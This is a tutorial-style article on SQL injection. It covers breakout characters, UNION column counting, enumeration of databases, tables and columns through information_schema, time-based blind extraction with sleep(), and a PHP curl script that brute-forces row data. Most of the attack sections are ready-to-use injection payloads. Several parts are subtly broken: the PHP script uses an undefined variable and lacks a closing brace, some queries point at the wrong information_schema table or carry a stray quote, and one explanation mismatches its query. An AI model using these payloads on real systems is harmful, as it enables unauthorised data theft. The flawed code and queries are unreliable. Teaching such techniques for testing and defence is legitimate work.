SQL Injection

Basics of SQL

SQL means "structured query language" and is a common database format used to store and retrieve data on dynamic web pages.

A database is structured into different objects. These are

  • Databases, which are a named collection of tables.
  • Tables, which are grid-like structures storing data in columns and rows
  • Columns, which are data fields of a given type.
  • Rows, which are the individual data stored in the rows.

So a table might be represented something like this:

username ID description passwd
harvey 12345 senior partner dhqiduqhfd7
jessica 54321 managing partner fdwoufjw89
louis 73482 weird guy who goes mudding fchwiuvcw78o
mike 43782 junior associate cjw97u4njfvcwe

The columns here are username, ID, description and passwd.

Under the username column, we have the rows harvey, jessica, louis and mike.

If this table were part of, say, a forum script's database, you might have other tables in the database that relate to say, post content, or user profile info, etc. These other tables might be grouped together in the same database, and that database likely lives on the SQL server with several others that support other apps.

Accessing data in an SQL database

The typical procedure for accessing anything on an SQL DB is as follows:

  • Connect to the SQL server using credentials.
  • Select a database.
  • Pass a query that either stores or retrieves data.

Usually, in a web context, a connection script with stored credentials will connect to the DB server and select the database, while other functions in the code pass pre-defined queries to the server. For example, a mysql connection in PHP might look something like this: 


$con = mysqli_connect("localhost","someUser","p@55w0rd","someDB");

In this case someUser authenticated using password p@55w0rd to the MySQL server on localhost, requesting access to the database called someDB.

This would establish a connection that the PHP script could use to then pass queries to the server. These would look something like this: 


SELECT username FROM theFirm WHERE description = 'senior partner';

If we assume that the example table from above is called theFirm, then this query would return harvey, as that is the username field that exists WHERE the ID is also equal to 12345.

If you want to understand MySQL in more detail, please consider going through W3Schools' tutorial on the matter.

How SQLi works in general.

SQli is yet another injection technique that isn't very dissimilar from command injection in many ways. Like with that sort of injection, we aim to insert an arbitrary SQL query into one that the application provides for us by abusing an unsanitized input.

Let's consider our example query from above, but imagine that the description column is populated with a variable rather than being hard coded: 


SELECT username FROM theFirm WHERE description = '$VARIABLE';

If we supply something predictable like senior partner, the app will work correctly, but if we do something like the following, we can achieve arbitrary execution: 


SELECT username FROM theFirm WHERE description = '' OR 1=1; --';

Just like with command injection, we have a "breakout" (the single quote '), then our arbitrary code, and then a "break in" to close out our arbitrary statement (in this case, the comment marker --, which tells the DB application to ignore everything after it).

Note that while I use single quote for all of the example payloads in this article, double quotes " and other sequences may be necessary to break out of certain apps, depending on how the underlying code is written. The following are useful examples: 


'
"
`
')
")
`)
'))
"))
`))

This example would return all usernames, because it's condition is effectively to return usernames where "1=1", i.e. where a username is "true".

Error Based SQLi

Error based SQLi is when we receive the output to our malicious query through displayed error messages. Unfortunately for us, error reporting is rarely enabled on production servers, so it's not something we can commonly exploit.

In-band UNION Based SQLi

In-Band SQLi referrs to SQLi where we can see the results of our malicious query directly in ourput that's printed to the page by the web app. This would be in cases like where data from the database is being retrieved for output, e.g. with like a forum script, etc.

UNION is a particular SQL statement that allows two queries to effectively be run together, so long as they have the same number of parameters. So for example: 


SELECT username, ID FROM theFirm UNION SELECT passwd, description FROM theFirm;

This would select username and ID, but also run these together with passwd and description and interleave them into the same output. E.g. after all usernames have been output, the DB would begin outputting the passwds, and in a seperate column, it would give all IDs and descriptions.

Note that we have to have the same number of parameters on both sides of the UNION. For example, this would NOT work: 


SELECT username, ID FROM theFirm UNION SELECT passwd FROM theFirm;

We must have the same number of parameters, so since the leftmost query has 2 parameters in this case, the right side parameter must also have 2.

Counting Columns for our UNION

Simply enough, we can use an iterative approach using a payload similar to the following to count the columns: 


' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

We will cause errors if the number of NULLs do not match the number of fields returned in the original query. Naturally, if more than 3 fields are needed, we can iteratively just add more NULLs to test.

Once you no longer have errors in the output, you know you have the right number of columns and can move on.

Enumerating Databases

To enumerate the current database, we can do the following: 


' UNION SELECT database(); --

Note that in these examples, I'm only assuming that the underlying query returns one field. If we had a situation where the underlying query had more than one, we could do something like this: 


' UNION SELECT database(),NULL; --

' UNION SELECT database(),NULL,NULL; --

...and so forth.

Anyway, to enumerate all databases, we would do something like the following: 


' UNION SELECT schema_name FROM information_schema.schemata;--

Note that the NULL trick from above is done on the parameters to the SELECT statement, so for adding more fields, we'd do something like so: 


' UNION SELECT schema_name,NULL,NULL FROM information_schema.schemata;--

This will be the case with all of the following payloads as well.

Enumerating Tables

Once we've gotten some database names, we can drill down on tables. These can be retrieved like so: 


' UNION SELECT table_name FROM information_schema.tables WHERE table_schema='databaseName';--

databaseName here is simply a placeholder. Fill it in with whatever database name you enumerated prior. Note that we could have specified table_scheme=database() if we had wanted to enumerate the current DB instead.

Enumerating Columns

Once we get the table names, we can grab columns: 


' UNION SELECT column_name FROM information_schema.columns WHERE table_schema='databaseName';--

Once we have columns and tables, we should have enough to retrieve individual rows and thus dump the data from the database. 


' UNION SELECT columnName FROM databaseName.tableName;--

Again, the field names are just placeholders here, but you get the idea.

Blind UNION SQLi

Blind SQLi is SQLi that uses time delays to infer information about what's in a database. This is usually used when no output is given by a query, e.g. with INSERT and UPDATE queries for putting input into the DB.

Usually, we'll use a conditional and the sleep() function to cause a delay if some piece of information is true. This may look something like this: 


' UNION SELECT IF (1=1, sleep(3), 'false') FROM database.table WHERE column='some data'; --

If "some data" is actually data in a column, the sleep(3) function will run, which will cause the request to take 3 seconds longer than usual. From this, we can use wordlists to supply values and brute force for data.

Similarly, we can brute character by character with something like this: 


' UNION SELECT IF(SUBSTRING(column_we_want,1,1) = CHAR(116),sleep(3),null) FROM database.table WHERE key_column = "some value"; --

SUBSTRING() looks at a particular subset of characters. column_we_want would be the particular column of the row we're trying to brute, while 1,1 means that we're starting at the first character, and selecting 1 character. CHAR() is referencing the ASCII codes. In this case 116 is lowercase "t". This whole thing is basically saying "if the first letter is t, sleep for three seconds". We could hypothetically brute the entire row's content by stepping though each substring with every ASCII code. E.g. 2, 1 is the second character, 3, 1 the third and so on, while also flipping through the ASCII codes.

Note that unlike password bruteforcing, which has to correctly guess every letter in a sequence simultaneously, we only have to brute force one character at a time, and so while this can take several hours to brute something, it doesn't take them impossibly long periods of time that password brute forcing tends to take.

In any case, we can use the above sorts of queries to "blindly" enumerate the same sort of data as we did with in-band UNION injections.

Time based Database Enumeration

Using a wordlist:


' UNION SELECT IF (1=1, sleep(3), 'false') FROM information_schema.schemata WHERE schema_name = 'WORDLIST CONTENT' ;--

Bruting character-by-character:


' UNION SELECT IF(SUBSTRING(schema_name,1,1) = CHAR(116),sleep(3),null) FROM information_schema.schemata; --

Time based Table Enumeration

Note that in order to enumerate the table, you need the database names. This will be a trend going down, as in order to enumerate columns, you'll need tables, etc.

Using a wordlist:


' UNION SELECT IF (1=1, sleep(3), 'false') FROM information_schema.schemata WHERE table_schema='databaseName' AND table_name = 'WORDLIST CONTENT';--

Bruting character-by-character:


' UNION SELECT IF (SUBSTRING(table_name,1,1) = CHAR(116),sleep(3),null) FROM information_schema.schemata WHERE table_schema='databaseName';--

Time based Column Enumeration

Once we have some table names, we can brute the columns in the table. 


' UNION SELECT IF (1=1, sleep(3), 'false') FROM information_schema.columns WHERE table_schema='database name' AND table_name='table name' AND column_name='WORDLIST CONTENT';--

Bruting character-by-character:


' UNION SELECT IF (SUBSTRING(column_name,1,1) = CHAR(116),sleep(3),null) FROM information_schema.columns WHERE table_schema='database name' AND table_name='table name';--

Time based Row Bruteforcing

Once we get ahold of the column names, we can start extracting data. It's highly unlikely that the data in the individual rows will be something we can extract with a wordlist, so we will almost certainly need to do character-by-character brute forcing. 


' UNION SELECT IF (SUBSTRING(columnName,1,1) = CHAR(116),sleep(3),null) FROM database.table LIMIT 1 OFFSET 0';--

In this case, we use LIMIT to say that we only want one result, and we can iterate through OFFSETs. Zero means that we're parked at the first returned result, and we can increment this to get through each result until we've brute forced the entire table.

Automating this

Obviously, any of these time based blind attacks will need some sort of automation in order to be effective in a practical scenario. For this, we could do something like the following PHP script: 


<?php 

$char_rng = range(32, 126, 1);
$host = "http://example.com/";

for ($i=0;$i<25565;$i++)
{
    echo "\n";

    for ($pos = 0; $pos<43; $pos++)
    {

        for ($char = 0; $char < sizeof($hex);$char++)
        {

            $payload = '\' UNION SELECT IF(SUBSTRING(columnName,' . $pos . ',1) = CHAR(' . $char_rng[$char] . '),sleep(3),null) FROM database.table LIMIT 1 OFFSET $i; --';
            $urlenc = urlencode($payload);
            $command = 'curl ' . $host . '?someGETparameter=' . $urlenc . ' -s -o /dev/null -w %{time_total}';
            $cmdexec = system($command);

            if($cmdexec > 3) 
            {
                echo $char_rng[$char];
            } elseif($char_rng[$char] == sizeof($char_rng)){
                echo 'Character range exhausted. There are either no more rows, or the data contained does not conform to the ASCII range specified.';
                die();
            }
    }
}
?>

This would be for bruting the row content when the column, table and database are known. Payloads and flow control could be modified as desired.

Going further

As in many cases, Hacktricks has a great store of resources on SQLi that can give even more ideas than what I've presented.

Additionally, while knowing how to accomplish SQLi manually may be useful during exploit development or other processes, the automated tool SQLMap certainly exists and can be more practical in some situations to help discover and exploit vulnerabilities.